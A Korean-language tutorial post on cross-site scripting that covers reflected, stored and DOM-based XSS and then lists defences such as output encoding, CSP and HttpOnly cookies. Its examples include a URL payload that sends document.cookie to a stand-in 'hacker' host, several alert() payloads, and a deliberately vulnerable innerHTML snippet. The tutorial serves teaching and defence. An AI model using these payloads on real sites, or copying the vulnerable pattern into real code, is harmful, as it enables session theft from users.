[Security/Web] XSS(Cross-Site Scripting)

XSS(Cross-Site Scripting)

XSS는 웹 보안 취약점 중 하나로, 공격자가 악성 스크립트를 다른 사용자의 브라우저에서 실행하게 만드는 공격 기법이다.
주로 웹 애플리케이션의 입력 검증 미비로 인해 발생하며, 공격자는 이를 통해 사용자의 쿠키, 세션 토큰 또는 기타 민감한 정보를 탈취하거나, 사용자를 피싱 사이트로 리디렉션하거나, 원하지 않는 행동을 수행하게 할 수 있다.

유형

1. 반사형 XSS(Reflected XSS)

사용자가 입력한 데이터가 서버에 저장되지 않고 즉시 반사되어 사용자에게 반화될 때 발생한다. 일반적으로 URL 매개변수나 양식 입력 값이 HTML 페이지에 포함될 때 발생한다.

<form method="GET" action="search">
    <input type="text" name="q">
    <input type="submit" name="Search">    
</form>

사용자가 "q" 매개변수에 악성 스크립트를 입력하면, 서버는 이 입력값을 검증 없이 그대로 HTML 페이지에 반영할 수 있음

http://example.com/search?q=<script>location.href("http://hacker/cookie.php?value="+document.cookie);</script>

위의 스크립트는 본인의 웹페이지로 URL을 클릭한 사용자의 쿠키 값이 전송된다. 링크를 클릭한 사용자는 해커에게 본인의 의도와는 관계없이 자신의 쿠키 값을 전송하게 된다.

2. 저장형/지속형 XSS(Stored XSS / Persistent XSS)

악성 입력값이 서버에 저장되고, 나중에 다른 사용자에게 전달될 때 발생한다. 주로 댓글, 게시물, 프로필 정보와 같은 사용자 생성 콘텐츠가 있는 웹사이트에서 발생한다.

<script>alert('XSS');</script>

만약 게시판에 다음과 같은 악성 스크립트를 게시한다면, 다른 사용자들이 이 게시물을 볼 때마다 스크립트가 실행된다.

3. DOM 기반 XSS(DOM-based XSS)

서버와의 상호작용 없이 클라이언트 측에서 발생한다.
즉, JavaScript가 DOM(Document Object Model)을 조작하면서 악성 스크립트를 실행하는 경우이다.
공격자는 URL 조작을 통해 악성 페이로드를 주입할 수 있다.

악의적인 스크립트가 포함된 URL을 사용자가 요청하게 되어 브라우저를 해석하는 단계에서 발생하는 공격이다.
다른 XSS 공격과는 다르게 서버 측에서 탐지가 어렵다. 밑에 url을 보면 # 을 사용하는데, 이 # 이후의 값은 서버로 전송되지 않는 기능을 가지고 있다.

<script>
  var search = window.location.hash.substring(1);
  document.getElementById("result").innerHTML = search;
</script>

사용자가 다음과 같은 URL로 접근하면,

http://example.com/#<script>alert(document.cookie);</script>

같은 스크립트가 실행된다.

예방 방법

1. 입력 값 검증 및 인코딩

사용자로부터 입력받은 모든 데이터는 서버에 저장되거나 HTML 페이지에 포함되기 전에 반드시 검증하고 인코딩해야 한다.

• HTML 인코딩 : &, <, >, ", ' 등의 문자를 HTML 엔티티로 변환
• JavaScript 인코딩 : 문자열을 안전하게 JS 코드에 포함
• URL 인코딩 : URL 내에 포함될 데이터를 인코딩

2. 출력 시 인코딩

서버에서 데이터를 반환할 때는 항상 적절한 인코딩을 적용

• HTML 컨텍스트 : htmlspecialchars 사용

  htmlspecialchars 란?
  php에서 제공하는 함수로, HTML 태그로 해석될 수 있는 특수 문자를 HTML 엔티티로 변환하여 출력하는 함수

• JavaScript 컨텍스트: JSON.stringfy 또는JS 인코딩 라이브러리 사용

3. Content Security Policy (CSP) 설정

CSP를 사용하여 신뢰할 수 있는 출처에서만 스크립트를 로드하도록 제한
이를 통해 인라인 스크립트의 실행을 방지할 수 있다.

4. HttpOnly 쿠키 사용

JS에서 접근할 수 없는 쿠키를 설정하여 XSS를 통한 쿠키 탈취 방지

5.보안 라이브러리 사용

OWASP의 ESAPI 라이브러리와 같은 보안 라이브러리를 사용하여 일반적인 보안 문제를 해결

6. XSS 방어 라이브러리, 브라우저 확장앱 사용

사용자들이 각자 본인의 브라우저에서 악의적인 스크립트가 실행되지 않도록 방어

7. 웹 방화벽 사용

XSS 뿐 아니라 각종 Injection 공격을 효과적으로 방어할 수 있다.